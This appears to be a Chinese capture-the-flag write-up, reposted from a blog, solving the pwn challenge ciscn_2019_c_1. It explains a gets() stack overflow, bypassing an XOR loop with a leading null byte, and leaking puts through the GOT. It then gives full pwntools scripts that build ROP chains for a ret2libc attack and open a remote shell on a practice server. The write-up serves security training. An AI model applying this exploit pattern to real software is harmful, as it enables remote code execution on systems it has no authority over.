ctf【ciscn_2019_c_1】

逆向

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

攻击思路

(1)由于存在 v0 >= strlen(s)的判断,而strlen是以s中\x00为判断依据判断s字符串长度,因此可以在s首部存入\x00避开加密程序

(2)【注意】找到execve(“/bin/sh”) 在libc中的偏移量后需要通过泄露puts地址来计算libc的基地址,puts的真实地址存在puts@got表中,函数在libc文件中。可以通过puts函数泄露puts的地址然后计算加载的libc文件的基地址,最后计算execve(“/bin/sh”)的实际地址。

加载:动态链接文件加载时有时候会重新改变基地址但是偏移(8位地址的后4位是一样的)是不变的(寻址方式是基地址+偏移量)

(3)ROPgadget --binary ./ciscn_2019_c_1

pop rdi ret的地址为0x400c83

ret的地址为0x4006b9

(4)gdb ciscn_2019_c_1

main函数的地址0x400b28

(5)通过溢出输出puts函数的真实地址

encrypt_addr
puts_plt
puts_got
pop_rdi_ret
padding(0x58B)

puts_plt()调用puts函数打印出puts_got地址

from pwn import *
from LibcSearcher import *
p=remote('node4.buuoj.cn',27055)
elf=ELF('./ciscn_2019_c_1')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_addr=0x0000000000400c83
encrypt_addr=elf.symbols['encrypt']
p.sendlineafter("Input your choice!",b'1')
payload=b'\x00'+b'a'*0x57+p64(pop_addr)+p64(puts_got)+p64(puts_plt)+p64(encrypt_addr)

p.sendlineafter("Input your Plaintext to be encrypted",payload)
p.recvline()
p.recvline()
put_addr=u64(p.recvuntil('\n').ljust(8,b'\x00'))
print(hex(put_addr))

(6)通过libc找到"/bin/sh"和system()并实施攻击

首先填入0x58字节的填充模块,再填入ret和pop rdi的地址,再填入参数"\bin\sh"和system()函数地址

脚本攻击

from pwn import *
from LibcSearcher import *
p=remote('node4.buuoj.cn',29076)
elf=ELF('./ciscn_2019_c_1')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_addr=0x0000000000400c83
ret_addr=0x4006b9
encrypt_addr=elf.symbols['encrypt']
p.sendlineafter("Input your choice!",b'1')
payload=b'\x00'+b'a'*0x57+p64(pop_addr)+p64(puts_got)+p64(puts_plt)+p64(encrypt_addr)

p.sendlineafter("Input your Plaintext to be encrypted",payload)
put_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(put_addr))

system=put_addr-0x31580
binsh=put_addr+0x1334da
p.recvuntil('encrypted\n')
payload=b'\x00'+b'a'*0x57+p64(ret_addr)+p64(pop_addr)+p64(binsh)+p64(system)+p64(encrypt_addr)
p.sendline(payload)
p.interactive()

猜你喜欢

转载自blog.csdn.net/HUANGliang_/article/details/127585391